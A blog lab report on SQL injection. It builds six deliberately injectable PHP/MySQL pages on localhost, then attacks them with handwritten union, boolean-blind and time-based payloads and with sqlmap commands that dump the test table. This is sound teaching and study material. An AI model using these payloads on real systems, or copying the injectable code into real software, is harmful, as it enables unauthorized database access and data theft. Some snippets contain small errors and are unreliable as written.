Fork me on GitHub

网络对抗原理实验一

网络对抗原理实验一

实验要求

  1. 搭建mysql数据库,建立数据库test,数据表student,包含id、name、score三列。
  2. 搭建运用的运行环境,如nginx+php-fpm、tomcat+java等等。
  3. 编写带有sql注入漏洞的接口程序,包含:
    • 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名
      和分数。
    • 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是
      否有该学生存在。
    • 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。
    • 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展
      示在两段随机内容之间。如入学号,展示该学生分数是否大于 60。
    • 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。如输入学号,查询
      是否有学生存在,然后输出固定内容。
    • 据输入的参数值,拼接 SQL 语句并执行,更新数据库。如输入学号和分数,将对应学生的分数
      更新。
  4. 针对上述各个应用接口,手工修改请求参数,尝试各种 SQL 注入的攻击向量,和正常访问的对照组一 起,观察结果并记录。
  5. 针对上述各个应用接口,用 sqlmap 尝试各种注入方式,并用 wireshark 抓包,记录每次的目标、 SQL 命令行、结果(包括出结果的过程、和最终的输出)、和抓包文件。
  6. 分析抓包文件,了解攻击向量,体会各种注入技术的原理。并回到 4 步骤中手动尝试。
  7. 在步骤3中第一个接口的基础上,尝试用不同的方法来避免SQL注入,再使用sqlmap尝试看是否有效,能否绕过。

实验环境:Ubuntu 16.04

实验步骤

搭建mysql数据库,建立数据库test,数据表student,包含id、name、score三列。

进入数据库并且输入密码

1
mysql -u root -p

创建数据库

1
2
3
4
5
6
7
create database test;
use test;
create table student;
insert into student (id,name,score) values (1, 'Tom', 95);
insert into student (id,name,score) values (2, 'Jack', 80);
insert into student (id,name,score) values (3, 'Mary', 65);
insert into student (id,name,score) values (4, 'John', 55);

搭建运用的运行环境:nginx+php-fpm

  • 在线安装Nginx
1
sudo apt-get install nginx

安装成功之后,nginx放置在/etc/nginx目录下,并且已经在/etc/init.d/下创建了启动脚本;启动程序文件在/usr/sbin/nginx;日志文件放置在/var/log/nginx目录下,分别是access.log和error.log
虚拟主机配置文件放置在/etc/nginx/sites-available目录下;默认的虚拟主机的目录/usr/share/nginx/www。

  • 启动Nginx
1
sudo apt-get install php7.0-fpm

在这里,我们使用php-fpm使得PHP7.0可以在nginx上通过PHP-FPM工作,PHP-FPM(FastCGI Process Manager) 是一个守护进程(init脚本文件在/etc/init.d/php7.0-fpm),它运行了一个FastCGI server,端口是 9000。

  • 配置Nginx
1
sudo vim /etc/nginx/sites-available/default

将配置文件中将第39行添加index.htm和index.php使.htm文件和php文件可以成为文件夹默认打开文件,并且反注释57行进行9000端口监听。

  • reload使配置生效
1
sudo service nginx restart
  • 测试

    在网站根目录创建一个PHP的测试文件

1
sudo vim /var/www/html/info.php

php文件内容

打开浏览器输入http://127.0.0.1/info.php

coin

至此nginx已经配置成功

  • 配置php-fpm
1
sudo apt-get install php7.0-mysql php7.0-curl php7.0-gd php7.0-intl php-pear php7.0-imagick php7.0-imap php7.0-mcrypt php7.0-memcache php7.0-ming php7.0-ps php7.0-pspell php7.0-recode php7.0-snmp php7.0-sqlite php7.0-tidy php7.0-xmlrpc php7.0-xsl

重启PHP-FPM,使之生效

1
sudo service php7.0-fpm restart

编写带有sql注入漏洞的接口程序

以下代码中数据库密码[**]已作脱敏处理,应换成你的mysql root密码

  • 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果展示。如根据输入的学号展示姓名和分数。

html文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head lang="en">
<meta charset="utf-8">
<title>GET sql injection</title>
</head>

<body>
<form action="./1.php" method="GET">
student id:<input type="text" name="id">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

coin

php文件如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if(isset($_GET['submit'])){
$id=$_GET['id'];
$con=mysqli_connect('localhost','root','{********}');
if($con){
mysqli_select_db($con,'test');
$query=mysqli_query($con,"SELECT name,score FROM student WHERE id='$id';");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
echo "name:".$result["name"]."<br/>";
echo "score:".$result["score"]."<br/>";
$i++;
}
}
}
mysqli_close($con);
?>

coin

  • 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果是否为空。如输入学号,展示是否有该学生存在。

html文件如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head lang="en">
<meta charset="utf-8">
<title>GET sql injection</title>
</head>

<body>
<form action="./2.php" method="GET">
student id:<input type="text" name="id">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

coin

php文件如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if(isset($_GET['submit'])){
$id=$_GET['id'];
$con=mysqli_connect('localhost','root','{********}');
if($con){
mysqli_select_db($con, 'test');
$query=mysqli_query($con, "SELECT name FROM student WHERE id='$id';");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
//echo "username:".$result["username"]."<br/>";
$i++;
}
if($i==1){
echo "yes";
}
else {
echo "no";
}

}
}
mysqli_close($con);
?>

coin

  • 根据输入的参数值,拼接 SQL 查询语句并执行,将查询结果是否为空展示在两段随机内容之间。

html文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head lang="en">
<meta charset="utf-8">
<title>GET sql injection</title>
</head>

<body>
<form action="./3.php" method="GET">
student id:<input type="text" name="id">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

coin

php文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

function str_rand($length = 5, $char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') {
if(!is_int($length) || $length < 0) {
return false;
}

$string = '';
for($i = $length; $i > 0; $i--) {
$string .= $char[mt_rand(0, strlen($char) - 1)];
}

return $string;
}


if(isset($_GET['submit'])){
$id=$_GET['id'];
$con=mysqli_connect('localhost','root','[********]');
if($con){
mysqli_select_db($con, 'test');
$query=mysqli_query($con, "SELECT name FROM student WHERE id='$id';");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
//echo "username:".$result["username"]."<br/>";
$i++;
}
if($i==1){
echo str_rand() . "yes" . str_rand();
}
else {
echo str_rand() . "no" . str_rand();
}

}
}
mysqli_close($con);
?>

coin

  • 根据输入的参数值,拼接 SQL 查询语句并执行,展示查询结果的条件表达式结果,并将结果展示在两段随机内容之间。如入学号,展示该学生分数是否大于 60。

html文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head lang="en">
<meta charset="utf-8">
<title>GET sql injection</title>
</head>

<body>
<form action="./4.php" method="GET">
student id:<input type="text" name="id">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

coin

php文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

function str_rand($length = 5, $char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') {
if(!is_int($length) || $length < 0) {
return false;
}

$string = '';
for($i = $length; $i > 0; $i--) {
$string .= $char[mt_rand(0, strlen($char) - 1)];
}

return $string;
}


if(isset($_GET['submit'])){
$id=$_GET['id'];
$con=mysqli_connect('localhost','root','[********]');
if($con){
mysqli_select_db($con, 'test');
$query=mysqli_query($con, "SELECT name FROM student WHERE id='$id' AND score>60;");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
//echo "username:".$result["username"]."<br/>";
$i++;
}
if($i==1){
echo str_rand() . "yes" . str_rand();
}
#我们这里把没有查到的以及低于60分的都归为no
else {
echo str_rand() . "no" . str_rand();
}

}
}
mysqli_close($con);
?>

coin

  • 根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果。例如如输入学号,查询是否有学生存在,然后输出固定内容。

html文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head lang="en">
<meta charset="utf-8">
<title>GET sql injection</title>
</head>

<body>
<form action="./5.php" method="GET">
student id:<input type="text" name="id">
<input type="submit" value="submit" name="submit">
</form>
</body>
</html>

coin

php文件源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if(isset($_GET['submit'])){
$id=$_GET['id'];
$con=mysqli_connect('localhost','root','[********]');
if($con){
mysqli_select_db($con, 'test');
$query=mysqli_query($con, "SELECT name FROM student WHERE id='$id';");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
//echo "username:".$result["username"]."<br/>";
$i++;
}
if($i==1){
echo "pass";
}
else {
echo "pass";
}

}
}
mysqli_close($con);
?>

coin

  • 据输入的参数值,拼接 SQL 语句并执行,更新数据库。如输入学号和分数,将对应学生的分数更新。

html文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head lang="en">
<meta charset="utf-8">
<title>database update test</title>
</head>

<body>
<form action="./6.php" method="GET">
student id:<input type="text" name="id">

student score:<input type="text" name="score">

<input type="submit" value="update" name="update">
</form>
</body>
</html>

coin

php文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if(isset($_GET['submit'])){
$id=$_GET['id'];
$score=$_GET['score'];
$con=mysqli_connect('localhost','root','[********]');
if($con){
mysqli_select_db($con,'test');
$query=mysqli_query($con, "UPDATE student SET score='$score' WHERE id='$id';");
#更新后的结果输出
$query=mysqli_query($con, "SELECT name,score FROM student WHERE id='$id';");
$num=mysqli_num_rows($query);
$i=0;
while($i<$num){
$result=mysqli_fetch_assoc($query);
echo "更新后的结果输出"."<br />";
echo "name:".$result["name"]."<br/>";
echo "score:".$result["score"]."<br/>";
$i++;
}
}
}
mysqli_close($con);
?>

coin

###手工注入实验

  • 对于第一种漏洞场景,我们可以使用万能密码' or '1' = '1的方法,将作为参数id通过GET的传参方式拼接到sql语句中。使得数据库查询语句变为
1
select name,score from student where id='' or '1' ='1';

正常访问场景

coin

coin

上述万能密码注入结果可将整个test表输出

coin

coin

  • 这个这种情况属于True or False类型的漏洞,只会返回布尔值而不会返回查询结果,所以我们首先需要猜测数据库名字的长度,接着一个字母一个字母的猜测,根据服务器返回的确认信息,最终确认每个字母。

    1. 先判断是否有注入点

      • 是否有整型注入点
        coin

      • 是否有字符型注入点
        coin

        结果都没有
        coin

        但是我确实是可以进行注入的

        coin
        coin

        究其原因,原来是我在编写第二个php脚本时把所有返回行超过1行的结果都输出no,确实是可以进行注入的

    2. 猜测数据库中表的数量

      1
      1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#

      coin

      第一条就显示yes,说明该数据库中表的数量为1

    3. 猜测每个表的长度

      1
      2
      3
      4
      1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
      1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2#
      ……………………
      1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7#
      • 直到当尝试表长是否为7时,返回yes,得出该表长度为7coin
      • 这里limit a,b #返回第a+1至a+b行的数据
    4. 猜测第一个表的表名

      1
      2
      3
      4
      5
      6
      7
      8
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# =>true
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# =>true
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# =>true
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118# =>false
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115# => true
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117# => false
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116# => false
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115# => true

      TIPS:substr的用法

      一般有两种
      SBUSTR(str,pos);
      就是从pos开始的位置,一直截取到最后

      SUBSTR(str,pos,len);
      这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

      猜测第二个字母的时候可以用

      1
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#

      猜测第二个表的第一个字母是可以用

      1
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97#

      以此类推就可以得到表名为student

    5. 猜测student表中每列的名字

      • 猜测student表的字段数

        1
        2
        1' and (select count(column_name) from information_schema.columns where table_name='student')=1# => false
        1' and (select count(column_name) from information_schema.columns where table_name='student')=3# => true
      • 猜测student表的每一列长度

        1
        2
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=1# => false
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=2# => true

        第一列列名长度为2

        1
        2
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=1# => false
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=4# => true

        第二列列名长度为4

        1
        2
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=1# => false
        1' and length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=5# => true

        第三列列名长度为5

      • 猜测student表的每一列列名

        用猜测表名的方法进行猜测

        1
        2
        3
        1' and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))>97# => true
        1' and ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))<122# => true
        ……………………

        用这种方法就可以将每个表名猜出,依次为id,name,score

  • 这一小问在上一问的基础上加入了随机字符串

    • 然而针对上一问的手工盲注方法对这一问同样有效coin
      coin
    • 我推测这种方法应该是为了防sqlmap,让其对返回值的true or false难以检测
    • 后来查阅了一下资料发现是为了模拟正常业务,因为正常情况下页面回显是需要自己去找的。
  • 下一小问只是在查询语句中加入了AND score>60,这样的话只要填上闭合向量’#’就可以过滤掉后面的WHERE条件判定

  • 对于固定输出的内容就不能用盲注了,因为我们不能得到true or false,所以只能用基于时间的注入攻击

    1. 先判断是否有注入点

      1
      1' and sleep(2)# =>等待,有注入点
    2. 判断当前数据库名长度

      TIPS:sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;if((条件),m,n)语句:若条件为真 返回m,若条件为假 返回n;

      1
      2
      3
      4
      1'  and sleep(if((length(database())=1),3,0))# =>不等待
      1' and sleep(if((length(database())=2),3,0))# =>不等待
      1' and sleep(if((length(database())=3),3,0))# =>不等待
      1' and sleep(if((length(database())=4),3,0))# =>等待

      则数据库名长度为4

    3. 判断数据库名

      TIPS
      mid(database(), m, n):返回数据库名的第m位之后的n位;

      1
      2
      3
      4
      1' and sleep(if((mid(database(),1,1)='t'),3,0))# => 't'
      1' and sleep(if((mid(database(),2,1)='e'),3,0))# => 'e'
      1' and sleep(if((mid(database(),3,1)='s'),3,0))# => 's'
      1' and sleep(if((mid(database(),4,1)='t'),3,0))# => 't'

      所以数据库名为test

    4. 判断表的个数

      1
      1' and sleep(if(((select count(table_name) from information_schema.tables where table_schema=database())=1),3,0))# =>等待

      有一个表

    5. 猜测每个表的长度

      1
      2
      1' and sleep(if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1),2,0))# =>不等待
      1' and sleep(if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7),2,0))# =>等待

      表名长度为7

    6. 判断表名

      1
      2
      3
      4
      5
      6
      7
      8
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),2,0))# =>等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122),2,0))# =>等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109),2,0))# =>等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),2,0))# =>不等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115),2,0))# =>等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),2,0))# =>不等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),2,0))# =>不等待
      1' and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115),2,0))# =>等待

      则表名的第一个字母为’s’
      以此类推可以得到表名’student’

    7. 判断表中列数

      1
      2
      1' and sleep(if(((select count(column_name) from information_schema.columns where table_name='student')=1),2,0))# => 不等待
      1' and sleep(if(((select count(column_name) from information_schema.columns where table_name='student')=3),2,0))# => 等待

      字段数为3

    8. 判断表中每列长度

      1
      2
      3
      1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1))=2),2,0))# => 等待:长度为2
      1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 1,1),1))=4),2,0))# =>等待:长度为4
      1' and sleep(if((length(substr((select column_name from information_schema.columns where table_name='student' limit 2,1),1))=5),2,0))# =>等待:长度为5
    9. 判断表中每列列名

      1
      1' and sleep(if((ascii(substr((select column_name from information_schema.columns where table_name='student' limit 0,1),1,1))>97),1,0))#

      一步一步来就可以搞定

  • 这一小问是更新数据库操作,我们可以使用更新数据注入方式来向数据库中非法插入数据,思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

    1
    2
    UPDATE student SET score=''inject here'' WHERE id=1;
    UPDATE student SET score='"inject here"' WHERE id=1;

    我将在sqlmap中演示

利用sqlmap自动化注入并用wireshark抓包分析

  1. 对于普通查询结果的场景,我们可以使用Union查询的方式

    1
    sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit"

    这样一来我们就找到了Union联合查询,Boolean-based和Time-based3种不同方式的注入点。

    coin

    接着开始搞事情

    1
    sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --current-db --current-user

    coin

    1
    sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --tables -D test --columns

    coin

    dump数据库内容

    1
    sqlmap -u "http://127.0.0.1/sql_injection/1.php?id=1&submit=submit" --dump -T "student" -D "test"

    coin

    通过抓包分析可以得出sqlmap的查询语句

    coin
    coin

    大致意思就是先判断是否有注入点,再判断过滤字符,接着判断id的最大长度(推测应该是使用二分法),然后就是用我上述手工注入的方法:数据库名长度=>数据库名=>表的个数=>每个表名长度=>每个表名=>列的个数=>每个列名长度=>每个列名。不过我发现sqlmap用了很多随机字符串拼接的方式。

  2. 对于仅返回true or false结果的场景,我们可以使用Union查询的方式就失效了,只能布尔查询。

    1
    sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --batch

    coin

    有布尔盲注注入点,开始搞事情

    1
    sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --tables -D test

    coin

    1
    sqlmap --technique=B -u "http://127.0.0.1/sql_injection/2.php?id=1&submit=submit" --dump -D test -T student

    coin

    抓包分析一下

    coin

    大体看了一下前面的查询语句和Union查询没什么区别,爆库也是按照上述的方法
    coin

    选取一条感觉和我手工注入的方式很相似,然后再进行转码分析一下,发现它是采用二分法来依次确定字母ascii码值的

  3. 第三种对于返回值中夹杂着随机字符串的

    当我使用如下命令时发现并不能成功

    1
    sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit" --technique-B

    于是使用

    1
    sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit"

    发现注入点

    coin

    但是奇怪的是这却是boolean-based的盲注,继续进行发现它还是以Time-based进行注入的,应该是随机字符串防御住了布尔盲注

    coin

    1
    sqlmap -u "http://127.0.0.1/sql_injection/3.php?id=1&submit=submit" --tables -D test --columns -T student

    coin

  4. 这一题也有点类似

    1
    sqlmap --technique=B -u "http://127.0.0.1/sql_injection/4.php?id=1&submit=submit"

    在sqlmap运行的过程中,发现了如下日志

    coin

    解答了刚才的疑惑,原来是添加了随机字符串之后sqlmap无法处理动态HTTP返回值

    coin

    忽略字符串,终于找到了注入点

    coin

    以下就可以进行爆库操作。

  5. 如果返回值是一个固定的值那么只能采用Time-based

    1
    sqlmap --technique=T -u "http://127.0.0.1/sql_injection/5.php?id=1&submit=submit" --batch

    coin

    抓包查看

    coin

###参考资料

  1. https://blog.csdn.net/xiejunna/article/details/76576804
  2. https://my.oschina.net/duwaiweb/blog/80578
  3. https://blog.csdn.net/we_shell/article/details/37772941
  4. https://www.cnblogs.com/dee0912/p/5240370.html
  5. https://blog.csdn.net/qq_35544379/article/details/77351783
  6. https://blog.csdn.net/Code_My_Life/article/details/48135319
  7. https://blog.csdn.net/dgeek/article/details/69525403
  8. https://blog.csdn.net/baidu_37108358/article/details/80766939
  9. https://wps2015.org/drops/drops/%E5%88%A9%E7%94%A8insert%EF%BC%8Cupdate%E5%92%8Cdelete%E6%B3%A8%E5%85%A5%E8%8E%B7%E5%8F%96%E6%95%B0%E6%8D%AE.html

实验总结与心得

  • 对于注入,总的来说有3种主要方式:联合查询、布尔盲注、时间盲注。这三种方式各有各自特点。我通过手工注入从获取数据库名到爆库,直到最后还可以进一步联合查询sys数据库中的敏感信息(这些也是可以做的)。
    • 联合查询:适用于有返回结果的注入方式,查询速度较快。
    • boolean-based方式:适用于返回值只有true or false的情况,我们可以用二分法不断地判断正误,从而一个字母一个字母地找出数据库名、表名、列名。
    • time-based方式:适用于不管有没有返回结果均返回固定值的方式,主要是用到了注入中的sleep()函数,这样更慢但同时也更隐蔽。
    • 一般注入方式的选择是:先Union,再boolean-based,最后time-based。
  • 至于随机字符串,它们对于手工注入丝毫没有影响,主要是影响sqlmap,因为每次地返回结果是动态的就会导致sqlmap工作异常,这是一种很好的屏蔽机制。

本文标题:网络对抗原理实验一

文章作者:Santu

发布时间:2019年01月13日 - 22:09:22

最后更新:2019年01月13日 - 22:46:55

原始链接:https://hmy626.github.io/网络安全实验/网络对抗原理实验一/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

------ 本文结束------
显示 Gitment 评论